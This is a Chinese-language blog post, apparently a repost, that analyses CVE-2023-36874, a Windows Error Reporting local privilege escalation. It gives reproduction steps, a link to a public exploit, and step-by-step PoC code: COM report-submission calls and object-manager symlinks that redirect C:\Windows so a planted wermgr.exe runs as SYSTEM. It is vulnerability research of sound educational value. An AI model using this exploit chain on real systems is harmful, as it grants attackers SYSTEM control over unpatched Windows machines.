文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析

2023-08-30 16:28

关注

CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析

漏洞简介

Windows错误报告服务在提交错误报告前会创建wermgr.exe进程,而攻击者使用特殊手法欺骗系统创建伪造的wermgr.exe进程,从而以system权限执行代码。

影响版本

Windows10 1507 *Windows10 1607 *Windows10 1809 *Windows10 21H2 *Windows10 22H2 *Windows11 21H2 *Windows11 22H2 *WindowsServer 2008 sp2 *WindowsServer 2008 r2 sp1 * x64 *WindowsServer2016 *WindowsServer2019 *WindowsServer2022 *

危害等级

7.8∣HIGH \textcolor{Red}{7.8 | HIGH} 7.8∣HIGH

漏洞复现

首先在C盘下创建一个目录test\system32,然后将自己写的exe改名为wermgr.exe放进去,这里我是直接使用poc里面添加账户的exe改名为wermgr.exe。

运行EXP之前可以查看当前用户信息

在这里插入图片描述

运行EXP后

在这里插入图片描述

漏洞分析

【EXP】https://github.com/Wh04m1001/CVE-2023-36874

根据网上给出的POC,可以大致知道执行的流程:

  1. 创建目录C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport

    CreateDirectory(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\MyReport", NULL);
  2. 从资源中释放错误报告文件MyReport.wer。

    HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_REPORT1), L"Report");DWORD ReportSize = SizeofResource(hm, res);void* ReportBuff = LoadResource(hm, res);...HANDLE hFile = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\MyReport\\Report.wer", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, 0, NULL);if (hFile == INVALID_HANDLE_VALUE){    printf("[-] Cannot create report.wer file.\n");    return -1;}if (!WriteFile(hFile, ReportBuff, ReportSize, NULL, NULL)){    printf("[-] Failed to write to report.wer file.\n");    return -1;}
  3. 创建IErcLuaSupportUI接口对象,调用 I E r c L u a S u p p o r t : : G e t W e r S t o r e F a c t o r y ( ) \textcolor{orange}{IErcLuaSupport::GetWerStoreFactory()} IErcLuaSupport::GetWerStoreFactory()构造函数实例化IWerStoreFactory工厂对象。

    result = CoCreateInstance(__uuidof(CLSID_IErcLuaSupport), NULL, CLSCTX_LOCAL_SERVER, __uuidof(IErcLuaSupport), (PVOID*)&pIErcLuaSupport);...result = pIErcLuaSupport->Proc3(&pIWerStoreFactory);
  4. 调用 I W e r S t o r e F a c t o r y : : E n u m e r a t e S t a r t ( ) \textcolor{orange}{IWerStoreFactory::EnumerateStart()} IWerStoreFactory::EnumerateStart()得到IWerStore接口对象。

    result = pIWerStoreFactory->Proc4(&pIWerStore);
  5. 使用 I W e r C o m S t o r e : : E n u m e r a t e S t a r t ( ) \textcolor{orange}{IWerComStore::EnumerateStart()} IWerComStore::EnumerateStart()开始模拟错误报告。

    result = pIWerStore->Proc3();
  6. 调用 I W e r C o m S t o r e : : L o a d R e p o r t ( ) \textcolor{orange}{IWerComStore::LoadReport()} IWerComStore::LoadReport()加载C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport目录下的错误报告,并获得一个错误报告接口IWerReport的对象。

    BSTR report = SysAllocString(L"MyReport");BSTR data = SysAllocString(L"test");result = pIWerStore->Proc6(report, &pIWerReport);
  7. C:\Windows目录创建一个符号链接,指向一个目录C:\test

    pRtlInitUnicodeString(&object, L"\\??\\test");InitializeObjectAttributes(&objAttrDir, &object, OBJ_CASE_INSENSITIVE, NULL, NULL);pNtCreateDirectoryObject(&hObjectdir, 0xF000F, &objAttrDir);pRtlInitUnicodeString(&symlink_name, L"Windows");pRtlInitUnicodeString(&path, L"\\GLOBAL??\\C:\\test");InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, hObjectdir, NULL);pNtCreateSymbolicLinkObject(&hSymlinkWindows, 0xF0001, &objAttrLink, &path);
  8. ProgramData目录创建一个符号链接,指向目录C:\ProgramData

    pRtlInitUnicodeString(&symlink_name, L"ProgramData");pRtlInitUnicodeString(&path, L"\\GLOBAL??\\C:\\Programdata");InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, hObjectdir, NULL);pNtCreateSymbolicLinkObject(&hSymlinkProgramdata, 0xF0001, &objAttrLink, &path);
  9. C:\目录创建一个符号链接,指向C:\test目录

    pRtlInitUnicodeString(&symlink_name, L"\\??\\C:");pRtlInitUnicodeString(&path, L"\\??\\test");InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, NULL, NULL);pNtCreateSymbolicLinkObject(&hSymlink, 0xF0001, &objAttrLink, &path);
  10. 调用 I W e r C o m R e p o r t : : _ S u b m i t R e p o r t ( ) \textcolor{orange}{IWerComReport::\_SubmitReport()} IWerComReport::_SubmitReport(),重点来了。该接口内部会调用 w e r ! W e r p S u b m i t R e p o r t F r o m S t o r e \textcolor{orange}{wer!WerpSubmitReportFromStore} wer!WerpSubmitReportFromStore提交错误报告,然后经历 C R e p o r t H a n d l e I n s t a n c e : : S u b m i t R e p o r t   = >   C R e p o r t M a n a g e r : : R e p o r t P r o b l e m   = >   C R e p o r t M a n a g e r : : R e p o r t P r o b l e m O u t O f P r o c e s s   = >   U t i l L a u n c h W e r M a n a g e r \textcolor{orange}{CReportHandleInstance::SubmitReport\ =>\ CReportManager::ReportProblem\ =>\ CReportManager::ReportProblemOutOfProcess\ =>\ UtilLaunchWerManager } CReportHandleInstance::SubmitReport => CReportManager::ReportProblem => CReportManager::ReportProblemOutOfProcess => UtilLaunchWerManager到达利用点。

    __int64 __fastcall UtilLaunchWerManager(        const unsigned __int16 **a1,        __int64 a2,        __int64 a3,        void *a4,        void **a5,        void **a6,        unsigned int a7,        void **a8){    if ( GetSystemDirectoryW(Buffer, 0x104u) - 1 > 0x102 ) // 取 C:\Windows\System32 目录      {        LastError = GetLastError();        v27 = ERROR_HR_FROM_WIN32(LastError);        v12 = v27;        v28 = WPP_GLOBAL_Control;        if ( WPP_GLOBAL_Control == (HKEY)&WPP_GLOBAL_Control || ((_BYTE)WPP_GLOBAL_Control[7] & 1) == 0 )          goto LABEL_38;        v29 = 0x12i64;        goto LABEL_67;      }      v11 = StringCchCatW(Buffer, 0x104ui64, L"\\wermgr.exe"); // 拼接成 C:\Windows\System32\wermgr.exe      v12 = v11;      if ( v11 >= 0 )      {        ...        if ( !InitializeProcThreadAttributeList(0i64, 1u, 0, &Size) )        {          ...        }        ProcessHeap = GetProcessHeap();        ThreadAttributeHeap = (struct _PROC_THREAD_ATTRIBUTE_LIST *)HeapAlloc(ProcessHeap, 0, Size);        v10 = ThreadAttributeHeap;        if ( !ThreadAttributeHeap )        {         ...          goto LABEL_37;        }        if ( !InitializeProcThreadAttributeList(ThreadAttributeHeap, 1u, 0, &Size) )        {          ...          goto LABEL_53;        }        v9 = 1;        if ( UpdateProcThreadAttribute(v10, 0, 0x20002ui64, lpValue, 8i64 * a7, 0i64, 0i64) )        {          StartupInfo.cb = 0x70;          v45 = v10;          // 创建进程,路径为 C:\windows\system32\wermgr.exe          if ( CreateProcessW(Buffer, v14, 0i64, 0i64, 2, 0x80000u, 0i64, 0i64, &StartupInfo, &lpProcessInformation) )          {            v12 = 0;          }          ...        }      }}

    注意 C r e a t e P r o c e s s W \textcolor{cornflowerblue}{CreateProcessW} CreateProcessW函数的bInheritHandles参数大于0,表明新进程会继承父进程的句柄,也就是说子进程和父进程的句柄值是一样的。同时表明父进程句柄的所有权限,子进程同样也有。而错误报告服务运行系统服务中,对应进程名svchost.exe,权限是system。假如能够通过某种方式欺骗服务创建攻击者指定的进程,那自然就可以提权了。

    漏洞利用

    显然从公开的POC中可以看到,利用的方式是在C盘创建一个test目录,在test里又创建一个system32目录,然后把伪造的wermgr.exe放进去。在调用 I W e r C o m R e p o r t : : _ S u b m i t R e p o r t ( ) \textcolor{orange}{IWerComReport::\_SubmitReport()} IWerComReport::_SubmitReport()前,给windows目录创建一个符号链接指向test,这样就可以在系统服务创建C:\Windows\system32\wermgr.exe进程的时候欺骗系统创建C:\test\system32\wermgr.exe进程,从而以system权限执行任意代码。

来源地址:https://blog.csdn.net/qq_41252520/article/details/132557499

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-人工智能
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯